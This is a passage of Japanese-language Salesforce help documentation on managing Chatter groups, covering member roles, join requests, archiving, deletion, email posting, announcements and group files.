6. [保存] をクリックします
必要な権限がある場合は、次の操作も実行できます。
• グループをアーカイブする
• グループを削除する

関連トピック:

Chatter グループメンバーの追加と削除

グループのカスタマイズ

エディション

使用可能なエディション:
Lightning Experience

ユーザ権限

グループのレコードタイ
プを作成する
• 「グループのレコード

タイプの作成および編
集」

レコードタイプを使用して、必要なレイアウトとブランドを持つグループ種別
を作成し、そのグループ種別を使用してカスタムグループを作成します。
グループのレコードタイプを作成すると、グループ種別が作成されます。ユー
ザは Chatter グループを作成するときにこのグループ種別を選択できます。
1. [設定] から、[クイック検索] ボックスに「グループ」と入力し、[レコードタ

イプ] を選択します。
2. [新規] をクリックします。
3. 新しいグループ種別の基礎として既存のレコードタイプを選択します。
4. 新しいレコード種別の表示ラベルと名前を選択します。表示ラベルは、ユー

ザがグループ種別を選択するときに表示されるものであり、名前は一意の API

名です。
5. 説明を入力します。この説明はユーザに表示されます。
6. [有効] を選択して、そのレコードタイプを有効にします。
7. プロファイルの横の [プロファイルの有効] を選択して、そのプロファイルを持つユーザがレコードタイプ

を使用できるようにします。ヘッダー行にあるチェックボックスをオンにすると、すべてのプロファイル
に対してレコードタイプが有効になります。

8. [次へ] をクリックします。
9. ページレイアウトのオプションを選択して、このレコードタイプを持つレコードに対して表示するページ

レイアウトを決定します。
10. [保存] をクリックします。

グループのアクセスレベルを変更できますか? たとえば、非公開グループを公開にできますか?

グループの所有者またはマネージャであれば、グループ設定を編集して、グループを非公開から公開に、また
は公開から非公開に変更できます。非公開グループを公開グループに変更すると、更新とファイルはすべての
ユーザに表示され、グループへの保留中の参加要求はすべて承諾され、そのグループには誰でも参加可能にな
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ります。顧客を含む非公開グループは、他の種類のグループに変換できません。顧客を許可している非公開グ
ループのグループアクセスレベルを変更することはできません。

関連トピック:

Chatter グループロールによって実行可能なアクション

Chatter グループメンバーの追加と削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter グループはどのように所有または管理するのでしょうか。グループメン
バーを追加または削除する方法を次に示します。
1. Salesforce Classic では、グループ詳細ページで [メンバーの追加/削除] をクリッ

クします。Lightning Experience では、グループ強調表示パネルから [メンバー
の追加] をクリックします (システム管理者がこのクイックアクションをグ
ループパブリッシャーに追加する必要があります)。

2. 追加または削除するユーザの名前の入力を開始して、ユーザのリストを絞り
込みます。

3. メンバーを追加するには [追加] を、削除するには をクリックします。参
加を要求した人については、[参加する] をクリックして要求を受諾するか、

をクリックして却下します。
4. 終了したら、[完了] をクリックします。

関連トピック:

Chatter グループメンバーの表示

非公開グループの要求の受諾または拒否

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

非公開 Chatter グループの所有者またはマネージャは、グループへの参加要求を
承諾または却下できます。さらに、「すべてのデータの編集」権限を持つユー
ザは、すべての公開および非公開グループへの要求を表示および管理できます。
「リストに記載しないグループの管理」権限を持つユーザは、組織のすべての
リストに記載しないグループに対するグループメンバーシップ要求を管理でき
ます。
1. 次のいずれかの方法で要求のリストを表示します。

• グループ詳細ページで、[3 件の要求] などの [要求] リンクをクリックしま
す。

• グループ詳細ページで、[メンバーの追加/削除]をクリックし、次に[要求]

検索条件をクリックするか、[全員] 検索条件で要求をスキャンします。
• メール要求に記載されているリンクをクリックします。

2. 要求を承諾または拒否します。

メモ: 要求が承諾または拒否されたことを伝えるメールが各ユーザに送信されます。
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• 承諾する場合は [承諾]をクリックします。要求が 3 つ以上ある場合、[yの xを引き受ける] ([3 の 3 を引き
受ける] など) をクリックするとすべての要求を承諾できます。

• 拒否する場合は、 をクリックします。拒否のメールに含めるメッセージを必要に応じて入力して、
[送信] をクリックします。[キャンセル] をクリックして戻ることもできます。

3. ウィンドウを閉じるには [完了] をクリックします。
非公開グループを公開すると、待機中の要求すべてが自動的に受諾されます。

グループロール

Chatter グループロールによって実行可能なアクション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

グループを作成する
• 「新しい Chatter グ

ループを作成して、所
有する」

次の表では、Chatter の公開および非公開グループのメンバー、マネージャ、所
有者が実行できるアクションについて説明します。顧客は、グループメンバー
やマネージャになれますが、所有者にはなれません。

メンバーマネージャ所有者アクション

はいはいはいグループフィード
への投稿、コメン
トおよび検索

はいはいはいグループ内のレ
コードの追加また
は削除 (設定されて
いる場合)

はいはいグループへのお知
らせの投稿

はいはい投稿とコメントの
削除

はいはいメンバーの追加と
削除

はいはいメンバーロールの
変更

はいはいグループ設定の編
集

はいはい情報項目の編集

はいはいグループのアーカ
イブとアーカイブ
済みグループの有
効化
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メンバーマネージャ所有者アクション

はいグループ所有者の変更

はいグループの削除

メンバー種別に関わらず、「すべてのデータの編集」権限を持つユーザはすべての公開および非公開グループ
に対してすべてのアクションを実行でき、「すべてのデータの参照」権限を持つユーザはすべての公開および
非公開グループの詳細を表示できます。
さらに、リストに記載しないグループの場合は次のようになります。
• 「リストに記載しないグループの管理」権限を持つユーザは、メンバーでなくても、リストに記載しない

グループに対する検索とこれらすべてのアクションを実行できます。
• 「すべてのデータの編集」権限または「すべてのデータの参照」権限を持つユーザは、メンバーであれば、

リストに記載しないグループの検索とアクセスのみを実行できます。公開および非公開グループと異なり、
「すべてのデータの編集」権限を持つユーザは、リストに記載しないグループでグループ所有者アクショ
ンを実行できません。グループマネージャアクションは、そのロールがリストに記載しないグループ内で
そのユーザに割り当てられていれば実行できます。

関連トピック:

Chatter グループの所有者が無効化されているとどうなりますか?

Chatter グループロールの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

自分が所有または管理するグループのChatterグループロールを変更する手順は、
次のとおりです。
1. グループ詳細ページで [ロールを変更] をクリックします。
2. メンバーを検索するには、検索ボックスに入力します。必要に応じて、[マ

ネージャ] と [すべてのメンバー] を切り替えてリストを並べ替えます。
3. マネージャにするユーザの [マネージャ] チェックボックスをオンにします。

マネージャとして選択した顧客は、他の共通グループに属していなくても、
グループへの参加を要請するユーザを表示し、申請を承認できます。

メモ: グループ所有者を変更するには、グループを所有する必要があり
ます。「すべてのデータの編集」権限を持つユーザは、公開および非公
開グループの所有者も変更できます。「リストに記載しないグループの
管理」権限を持つユーザは、リストに記載しないグループに対してこう
した変更を実行できます。新しい所有者を割り当てるには、現在の所有
者の横にある [グループ設定] リンクをクリックします。

4. [完了] をクリックします。

関連トピック:

Chatter グループの所有者が無効化されているとどうなりますか?
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Chatter グループの所有者が無効化されているとどうなりますか?

無効化されたユーザが引き続きグループを所有しますが、「すべてのデータの編集」権限のあるユーザが、公
開または非公開グループの新しい所有者を割り当てることができます。リストに記載しないグループについて
は、「リストに記載しないグループの管理」権限を持つユーザが新しい所有者を割り当てることができます。

関連トピック:

Chatter グループロールの変更

Chatter グループのアーカイブと有効化

アーカイブ済みの Chatter グループ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatterグループがアーカイブされると、グループメンバーは投稿を作成したり、
グループでファイルを共有したりできなくなります。以前の投稿、コメント、
およびファイルは、後で参照できるように引き続きグループで使用できます。
ユーザは引き続き、アーカイブ済みグループの既存の投稿へのコメント、ユー
ザへのメンション、およびフィードの検索ができます。ユーザはまた、アーカ
イブ済みグループの参加と脱退、アーカイブ済みグループを含むレポートの作
成、グローバル検索を使用したアーカイブ済みグループとそのコンテンツの検
索もできます。グループ所有者およびグループマネージャは、グループのアー
カイブと有効化や、グループの自動アーカイブの有効化/無効化をいつでも行う
ことができます。「すべてのデータの編集」権限を持つユーザは、これらのア
クションを組織の公開グループおよび非公開グループに対して実行できます。
「リストに記載しないグループの管理」権限を持つユーザは、これらのアクショ
ンを、リストに記載しないグループに対して実行できます。
グループをアーカイブすると次のようになるため、ユーザは組織の有効なグループに焦点を絞ることができま
す。
• アーカイブ済みグループは、ユーザのグループメンバーシップの制限にカウントされない。
• アーカイブ済みグループからの投稿は、コメントが追加されない限り、Chatter フィードに表示されない。

新規コメントのある投稿は [すべての会社] (Salesforce Classic) フィードに表示されます。人気度やエンゲージ
メントの程度 (コメント、いいね!、参照など) によって高くランク付けされた場合は [会社の特長] (Lightning

Experience) フィードに表示されることがあります。新規コメントのある投稿は、各グループメンバーのフィー
ドにも表示されます。

• ファイルおよびフィード共有は、有効なグループに限定され、グループ検索がより効率的になる。
• アーカイブ済みグループは、[アーカイブ済みの私のグループ] にのみ表示され、[有効なグループ] リストに

は表示されない。

例: フィード活動がごくわずかしか存在しないかまったく存在しなくても、保持したい有益な情報がグ
ループに含まれる場合は、アーカイブすることをお勧めします。たとえば、次のような例が考えられま
す。
• 営業チームが商談の交渉中に作成したグループ。リードの取引開始後はグループ活動が減りますが、

営業チームは引き続き顧客に関する重要な情報にアクセスできます。
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• 組織のイベントの計画に使用したグループ。イベント後にアーカイブして、ベンダ情報や計画時の議
論を再利用できます。

• 顧客の主要リリースでの重要な問題を追跡するために使用したサービスデスク種別のグループ。リ
リースの問題の解決後にグループをアーカイブすると、サポートエージェントが今後のトラブルシュー
ティングで関連情報にアクセスできます。

• 同じ目的またはより広い目的の新しいグループで従来のグループを置き換える場合、従来のグループ
をアーカイブしてトラフィックを新しいグループにリダイレクトできる。

• チームの変更後またはチームメンバーの退社後にチームグループをアーカイブすると、チームでの議
論を保存して将来参照できる。

会社全体のお知らせに使用されるグループなど、重要な情報が含まれるが定期的には更新されないグルー
プの場合、自動アーカイブを無効にすると便利です。活動のない期間が連続 90 日を超えるグループでも
アーカイブされないため、ユーザが重要な投稿を見逃すことがなくなります。

Chatter グループのアーカイブ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

グループの手動アーカイブや、自動アーカイブ設定の編集を行います。
グループのフィード活動が毎週確認されます。90 日間連続してグループに新し
いフィード投稿やコメントがない場合、そのグループは自動的にアーカイブさ
れます。グループのメンションはフィード活動としてカウントされず、グルー
プのアーカイブの遅延が生じません。「すべてのデータの編集」権限を持つグ
ループ所有者、グループマネージャ、ユーザは、いつでもグループを手動でアー
カイブしたり、グループの自動アーカイブ設定を編集したりできます。
1. Salesforce Classic では、グループ詳細ページで [グループ設定] をクリックしま

す。Lightning Experience では、グループヘッダーの [グループを編集] ボタンを
クリックします。

2. グループのアーカイブは、次の 2 つのうちのいずれかの方法で設定します。
• [アーカイブ] をクリックして、グループをすぐにアーカイブする。
• [投稿またはコメントが 90 日間ない場合に、このグループをアーカイブし

ます] を選択し、[保存] をクリックして自動アーカイブを設定する。

グループをアーカイブすると、次のようになります。
• グループページのパブリッシャーが非表示になり、メンバーは新しい投稿を作成したり、グループでファ

イルを共有したりできなくなる。
• グループは、[グループ] タブの [有効なグループ] フィルタに表示されなくなる。
• 以前のグループの投稿およびコメントは、コメントが追加されない限り、Chatter フィードに表示されなく

なる。新規コメントのある投稿が [すべての会社] フィード (Salesforce Classic) と各グループメンバーのフィー
ドに表示されます。投稿の人気度ランキングやエンゲージメント (コメント、いいね!、参照など) によって
は [会社の特長] フィード (Lightning Experience) に表示されることがあります。

自分が所有、管理、または属しているアーカイブ済みグループを検索するには、[グループ] リストの [アーカ
イブ済みの私のグループ] 検索条件を使用します。また、グローバル検索を使用して、アーカイブ済みグルー
プまたは関連コンテンツを検索することもできます。アーカイブ済みグループは、グループメンバーシップの
制限にカウントされません。
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メモ:

• グループメンバーが所有、管理、または属している Chatterグループがアーカイブまたは有効化されて
も、グループメンバーにはメール通知は送信されません。

• システム管理者がグループのアーカイブを無効にした場合は、グループのアーカイブや自動アーカイ
ブ設定の編集はできません。アーカイブ機能が無効になっていても、アーカイブ済みグループをいつ
でも有効にすることができます。

関連トピック:

アーカイブ済みの Chatter グループ
アーカイブ済み Chatter グループの有効化

アーカイブ済み Chatter グループの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

「すべてのデータの編集」権限を持つグループ所有者、グループマネージャ、
ユーザは、グループ詳細ページからアーカイブ済み Chatter グループを有効化で
きます。
1. 有効化するグループに移動します。

• 自分が所有、管理、または属しているアーカイブ済みグループを検索す
るには、[グループ] リストビューの [アーカイブ済みの私のグループ]検索
条件を使用します。

• 他のアーカイブ済みグループを検索するには、グローバル検索を使用す
るか、レポートを実行するか、システム管理者にお問い合わせください。

2. グループ詳細ページで [有効化]をクリックします。グループ設定ページから
アーカイブ済みグループを有効化することもできます。

グループが有効化されると、パブリッシャーが有効化されたグループ詳細ペー
ジが表示され、メンバーは新しい投稿を作成したり、グループでファイルを共有したりできます。

メモ:

• グループメンバーが所有、管理、または属している Chatterグループがアーカイブまたは有効化されて
も、グループメンバーにはメール通知は送信されません。

• 一度に有効化できるグループは 1 つのみです。複数のグループを同時に有効化するには、Salesforce API

を使用します。

関連トピック:

アーカイブ済みの Chatter グループ
Chatter グループのアーカイブ
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Chatter グループの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

グループを削除できるのは、グループの所有者と「すべてのデータの編集」権
限を持つユーザのみです。
Lightning Experience では、グループ強調表示パネルの [グループを削除] ボタンを
クリックしてグループを削除できます。
Salesforce Classic では、次の手順を実行します。
1. グループ設定を編集します。グループ詳細ページで [グループ設定]をクリッ

クします。
2. [削除] をクリックします。
3. [OK] をクリックします。
グループを削除すると、そのグループに投稿されたすべてのリンクを含め、グ
ループの更新が完全に削除されます。ファイルを含むグループを削除する場合
は、ファイル自体ではなく、そのファイルへの参照のみが削除されます。ファ
イルは、各ファイル所有者の[自分が所有者]など、元の場所に残ります。ファイルがグループに投稿され、他
の場所で共有されていなかった場合は、グループを削除するとそのファイルへの参照も削除されます。ファイ
ルはファイル所有者の[自分が所有者]に残り、非公開になりますが、後でもう一度共有することができます。

ヒント: 後で参照できるようにグループデータを保持するには、グループを削除するのではなく、グルー
プをアーカイブします。

関連トピック:

Chatter グループのアーカイブ
ファイルが共有されている場所の表示

Chatter グループでの作業

Chatter グループの操作習得

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

グループの更新、ファイル、およびグループメンバーを表示するには、フィー
ド、[グループ] リスト、または他のユーザのプロファイルでグループの名前をク
リックします。
表示される詳細レベルとグループのページで可能な操作は、グループの種別、
自分がグループのメンバー、所有者、またはマネージャかどうか、および自分
のグループロールに応じて異なります。

公開グループの非メンバー
自分がメンバーではない公開グループのグループ詳細ページを表示する場合、
次の操作を実行できます。
投稿とコメント

フィードの上に更新を入力するか、フィード内の投稿の下にコメントを入力
して、[共有] をクリックする。
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グループへの参加
[参加] をクリックしてグループに参加する。

グループの説明と情報の表示
グループの説明と情報をフィードの横にある個別の列に表示する。

グループメンバーの表示
[グループメンバー] セクションにグループの現在のメンバーを表示する。グループに招待された顧客も含
まれます。

グループに投稿されたファイルの表示、ダウンロード、検索
グループフィードに投稿されたファイルまたはグループと共有されたファイルを [グループファイル] セク
ションに表示する。

グループで話しているトピックの表示
グループのトピックをグループフィードの投稿の下に表示する。

グループ情報の検索
フィードの上にある をクリックしてグループ内の情報を検索する。

非公開グループの非メンバー
自分がメンバーではない非公開グループのグループ詳細ページを表示する場合、次の操作のみを実行できま
す。
グループへの参加要求

[参加を要請] をクリックして非公開グループの所有者とマネージャに参加を要求するメールを送信する。
グループの写真と説明の表示

グループの説明をグループの写真の下に表示する。
グループメンバーの表示

[グループメンバー] セクションにグループの現在のメンバーを表示する。グループに招待された顧客も含
まれます。

リストに記載しないグループの非メンバー
リストに記載しないグループのメンバーではない場合、グループの詳細ページを表示できません。

公開グループ、非公開グループ、およびリストに記載しないグループのグループメンバー
公開グループ、非公開グループ、またはリストに記載しないグループのメンバーは、次の操作も実行できま
す。
Salesforce1 モバイルアプリケーションのメール設定およびアプリケーション内通知の変更

Salesforce Classic では、[私宛てにメール送信...] をクリックして、誰かが投稿するたび、毎日、または毎週、
グループの活動に関してメールを受信する。[すべての投稿] を選択した場合も、Salesforce1 モバイルアプリ
ケーションのグループのアプリケーション内通知が有効になります。グループの活動に関するメールおよ
びモバイル通知の受信を停止するには、[グループのメールをオフにする] をクリックします。すべての
Chatter メール設定を変更するには、[メール設定] をクリックします。
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Lightning Experience では、グループ強調表示パネルから [メール通知] をクリックして、グループのメール設
定を変更する。

ユーザの招待
システム管理者が招待を有効にしている場合、[ユーザを招待する]をクリックして、Chatterを使用していな
い人をグループに参加するように招待する。非公開グループの場合、ユーザを招待できるのは、グループ
マネージャ、グループの所有者、または「すべてのデータの編集」権限を持つユーザのみです。リストに
記載しないグループの場合、ユーザを招待できるのは、グループマネージャ、グループの所有者、または
「リストに記載しないグループの管理」権限を持つユーザのみです。

グループからの脱退
をクリックして、非公開グループへの参加要求を取り下げる。自分が所有するグループから脱退するに

は、まず新しい所有者を指定する必要があります。

グループ所有者とグループマネージャ
公開グループ、非公開グループ、またはリストに記載しないグループの所有者またはマネージャは、次の操作
も実行できます。
グループメンバーの追加または削除
グループの写真の変更
グループ設定の編集
情報セクションの編集

[情報] セクションで [情報を追加] または をクリックして、グループのメンバーの関連情報を追加する。
このセクションは、タイトルを含めユーザの必要に応じてカスタマイズできます。

説明セクションの編集
[説明] セクションで [説明を追加] または をクリックして、グループの説明を追加する。

メンバーロールの変更
非公開グループへの要求の受諾または拒否

関連トピック:

[グループファイル] リスト
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Chatter グループのメンバーシップの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

プロファイルの [グループ] リストには、自分が所属する Chatter グループが最近
の活動日順に並び替えられて表示されます。[グループ] タブでは、グループへの
参加やグループの作成ができます。また、他の人のプロファイルの [グループ]

リストを表示して、グループのメンバーシップを確認することもできます。

メモ: 他の人のプロファイルで、リストに記載しないグループのメンバー
シップは自分もメンバーである場合にのみ表示されます。

• 完全なリストをアルファベット順で表示するには、[すべて表示] をクリック
します。

• リストの他の部分を表示するには、[次へ] や [前へ] リンクを使用します。
• グループから脱退するか、参加要求を取り下げるには、 をクリックしま

す。
• 他の人のグループリストで公開グループに参加するには、[参加] をクリック

します。
• 他の人のグループリストで非公開グループへの参加要求を送信するには、[参加を要請]をクリックします。
• ウィンドウを閉じるには、[完了] をクリックします。

関連トピック:

Chatter グループロールによって実行可能なアクション

Chatter グループメンバーの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter グループページの [メンバー] セクションには、グループのすべてのメン
バー (顧客を含む) が表示されます。
1. 全グループメンバーのリストをアルファベット順で表示するには、[メンバー]

セクションで [すべて表示] をクリックします。
[メンバー] ウィンドウでは、次の操作が可能です。
• すべてのメンバー、マネージャ、または所有者を表示するには、リスト

をフィルタします。
• [次へ] や [前へ] リンクを利用して、リストをさらに表示できます。
• [メンバーを検索] 検索ボックスを使用して検索します。
• 人のフォローを開始するには、その人の名前の横にある [フォローする]

をクリックし、停止するには をクリックします。
顧客はフォローできません。

2. ウィンドウを閉じるには [完了] をクリックします。
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おすすめ Chatter グループ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter では、次の要素に基づいて参加するグループがおすすめされます。
• メンバー数で特定されるグループの人気。
• グループであなたがフォローしている人の数。Chatterは、フォローするメン

バーが多くいるグループをおすすめします。
• 新規の (先月作成された) グループ。
おすすめの拡張リストを表示するには、[おすすめ] セクションの[さらに表示]を
クリックします。おすすめグループが表示されない場合は、すべてのおすすめ
グループにすでに属しています。おすすめにマウスポインタを置き、 をクリッ
クしておすすめを閉じます。これらのおすすめは再度表示されることはありま
せん。

メールを使用した Chatter グループへの投稿

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

アクセス権のある Chatter グループに投稿をメールで送信できます。
システム管理者がこの機能を有効化している場合、公開グループに投稿をメー
ルで送信できます。また、システム管理者がファイルの添付をユーザに許可で
きます。自分がメンバーである場合にのみ、非公開グループまたはリストに記
載しないグループに投稿をメールで送信できます。Salesforce ユーザアカウント
に関連付けられているメールアドレスを使用する必要があります。
1. Salesforce Classicのグループ詳細ページで、グループの説明の下にある [メール

で投稿] をクリックし、ローカルのメールクライアントを使用してグループ
への空白のメールを起動します。

2. メール本文にメッセージを入力し、必要に応じてファイルを添付して、メー
ルを送信します。
メールへの添付ファイルはChatterにファイルとして追加され、グループと共
有されます。

メールの内容が投稿としてグループ詳細ページに表示されます。メール本文に含まれるハッシュタグ
(#TeamExcellence など) は、投稿のトピックに変換されます。メールにファイルを 2 つ以上添付する場合、1 つ目
の添付ファイルは投稿に含めます。2 つ目以降の添付ファイルはコメントに追加します。

ヒント: 後で簡単にアクセスできるように、グループのメールアドレスをメールクライアントまたはモバ
イルデバイスの連絡先として保存します。mailto: リンクをコピーして連絡先のメール項目に直接貼り付け
る場合、メールクライアントによっては無効なリンクだとみなされ、連絡先に送信されない可能性があ
ります。メールアドレスの最初の部分から、括弧で括られたグループ名を削除してみてください。たと
えば、(私のグループ)0f9b000000004cmkaq@post.k-pxyvmac.kp0.chatter.salesforce.com から
私のグループ を削除します。

メールを使用してグループに投稿する場合、次の制限事項が適用されます。
• メールを使用して作成された投稿には、Chatter 投稿の 10,000 文字の制限が適用されます。この制限を超え

たメールのテキストは、投稿には含まれません。
• メッセージの最大サイズは、テキストと添付ファイルを合わせて 25 MB です。
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• メールの件名は、投稿に含まれません。
• メールを使用してテキスト投稿を作成し、テキストにリンクを含めることができます。最大25個のファイ

ルを添付できます。メールでグループに投稿する場合は、ユーザへのメンション、アンケートの作成、リ
ンクのタイトル指定を行うことができません。

• 太字や異なる文字サイズの使用など、文字レベルの書式設定はサポートされていません。
• メールアドレスは、グループレベルで一意である必要があります。組織の複数のユーザプロファイルが同

じメールアドレスを使用していて、そのメールアドレスがグループへの投稿に使用されている場合、その
特定のグループに関連付けられているユーザプロファイルがグループフィードの投稿に使用されます。そ
のメールアドレスが同じグループの複数のユーザプロファイル間で共有されている場合、メールはブロッ
クされます。

• 署名テキストは投稿の一部として処理されます。iPhone から送信 のようにモバイルデバイスによって挿
入されたデフォルト署名は、自動的に削除されます。メールを送信する前に、Chatter に投稿しないカスタ
ム署名と余分のテキストを削除します。または、署名の上部に区切り線を追加することで、署名を自動的
に削除できます。区切り線には、少なくとも次のいずれかの文字を使用する必要があります。
– ダッシュ (-)

– 等号記号 (=)

– アンダースコア (_)

これらの文字の任意の組み合わせや、RFC 3676 4.3に準拠したダッシュ、ダッシュ、スペース (-- ) を使用す
ることもできます。

Chatter グループでのお知らせの投稿

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

グループページで重要なメッセージを強調表示するには、グループへのお知ら
せを投稿します。

メモ: デフォルトでは、グループにグローバルパブリッシャーレイアウト
が表示されます。[お知らせ] アクションがグループに表示されていない場
合は、グローバルパブリッシャーを上書きし、[お知らせ] アクションをカ
スタムグループパブリッシャーレイアウトに追加するようにシステム管理
者に依頼してください。

「すべてのデータの編集」権限を持つグループ所有者、グループマネージャ、
ユーザのみが、グループへのお知らせを投稿および削除できます。
1. グループページで、パブリッシャーの [お知らせ] をクリックします。
2. メッセージを入力します。文字制限は 5,000 文字で、お知らせにリンクを含

めたり、ユーザやグループにメンションしたりできます。スペースの制約に
より、グループページには約 137 文字のお知らせが表示されます。メッセー
ジの残りを表示するには、[さらに表示] をクリックします。

3. お知らせの有効期限を指定します。
4. [共有] をクリックします。
グループへのお知らせは、新しいグループで置き換えられない限り、選択された有効期限の午後 11 時 59 分ま
で表示されます。ユーザは、グループフィードのお知らせに対するディスカッション、いいね!、コメントの
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投稿ができます。他の投稿と同様に、お知らせが投稿されると、グループメンバーは選択したグループメール
通知頻度に応じてメール通知を受信します。
フィード投稿を削除するとお知らせが削除されます。フィード投稿を削除せずにグループページからお知らせ
を削除するには、お知らせの上隅にある をクリックし、バナーを閉じるオプションを選択します。
お知らせのメール通知の送信
グループ所有者およびグループマネージャは、すべてのグループメンバーにグループへのお知らせのメール通
知を送信できるようになりました。以前は、グループ内の投稿ごとに通知を受け取るように選択したグループ
メンバーにのみ通知が送信されていました。これを行うには、グループ所有者およびグループマネージャに
「お知らせメールを送信」権限が必要です。この機能が有効な場合、お知らせの有効期限の横にある [すべて
のグループメンバーにメール送信] を選択すると、すべてのグループメンバーに通知することができます。

関連トピック:

Chatter グループレイアウトおよびパブリッシャーのカスタマイズ

[グループファイル] リスト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter グループページの [グループファイル] リストには、グループに最近投稿
されたファイルが表示されます。
リストにマウスポインタを置いて選択可能なオプションを表示するか、ファイ
ル名をクリックして、ファイルの詳細ページにアクセスします。グループに投
稿されたすべてのファイルのリストを表示したり、特定のファイルを検索した
り、ファイルにアクションを実行するには、[すべて表示]をクリックしてファイ
ルのリストを展開します。デフォルトで最近参照した 25 ファイルが一覧表示さ
れます。このリストでは、次の操作を実行できます。
• グループに投稿されたファイルを検索する。このリストには、グループの

Chatterフィードに自分または他の人が添付したファイルが含まれています。
このリストには次は含まれません。
– [ドキュメント] タブのドキュメント。
– [メモと添付ファイル] 関連リストの添付ファイル。

• 非公開ファイルをアップロード、またはファイルをアップロードして人やグループと共有、またはファイ
ルリンク経由で共有する。

• ファイルをダウンロードせずにプレビューする。
• Chatterフィードでファイルに関する更新をフォローし受信する。フォローしているファイルの横の をク

リックすると、ファイルに関する更新の受信を停止できます (Chatter が必要です)。
• をクリックして、ダウンロード、新しいバージョンのアップロード、他の人やグループとの共有、リン

クによる共有、および共有の設定を参照する。
• ファイルの詳細ページを参照するために、ファイル名をクリックする。
• ファイル所有者のプロファイルを参照するために、ファイル所有者の名前をクリックする。
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メモ:

• 暗号化されたファイル、パスワードで保護されたファイル、コピー保護された PDF、不明なファイル
形式、25 MB を超えるファイルなど、プレビューできないファイルもあります。プレビューできない
ファイルについては、フィードやリストビューで [プレビュー] オプションを使用できません。また、
ファイルは汎用のファイル形式アイコンとしてフィードに表示されます。Microsoft Office 2007 機能の一
部はプレビューでは正しく表示されません。ファイルはプレビュー可能であるのにプレビューが存在
しない場合は、Salesforce システム管理者に問い合わせてください。プレビューを再生成できる可能性
があります。

• ファイル拡張子のないファイルまたはファイル拡張子が認識できないファイルは [種別] 列に「不明」
と表示されます。

関連トピック:

Chatter グループメンバーの表示

Chatter グループのレコード

Chatter グループでのレコードの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter グループでレコー
ドを作成する
• オブジェクトに対する

「作成」

グループパブリッシャーを使用して、Chatterグループでレコードを作成します。
グループパブリッシャーで使用可能なアクションは、ユーザの権限、グループ
内のユーザのロール、グループの種別、およびシステム管理者によるグループ
パブリッシャーの設定によって異なります。
• システム管理者によるグループパブリッシャーレイアウトの設定に応じて、

取引先、取引先責任者、リード、商談、契約、キャンペーン、ケース、カス
タムオブジェクトのレコードを作成できます。その他のオブジェクトはサ
ポートされていません。

• グループでレコードを作成すると、グループフィード、作成者のプロファイ
ル、レコードフィード、会社の Chatter フィードなど、いくつかの場所にレ
コード作成の投稿が表示されます。必要な権限を (ライセンス、プロファイ
ル、権限、共有ルールによって) 持つユーザのみがレコードおよびレコード
作成フィードの投稿を参照できます。

ヒント: [すべての更新を表示]に設定してグループフィードを絞り込み、
レコード作成の投稿を参照します。

• グループフィードには、レコード作成の投稿に対するすべてのコメントが表
示されます。レコードフィードの投稿に対するコメントや、グループに属さ
ないユーザによるコメントも含まれます。
たとえば、John が非公開グループでレコードを作成すると、レコード作成の投稿がグループフィードとレ
コードフィードに表示されます。Sally はその非公開グループのメンバーではありませんが、レコード詳細
ページおよびレコードフィードへのアクセス権があります。Sally がレコードフィードでレコード作成の投
稿にコメントすると、非公開グループのフィードにそのコメントが表示されます。
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• グループ内のレコードの表示は、ユーザ権限および組織の共有アクセスルールによって決まります。権限
があるグループメンバーは、レコードおよびそれに対するコメントをどのコンテキスト (グループ、所有者
のプロファイル、レコード詳細ページ、会社の Chatter フィード) からも参照できます。
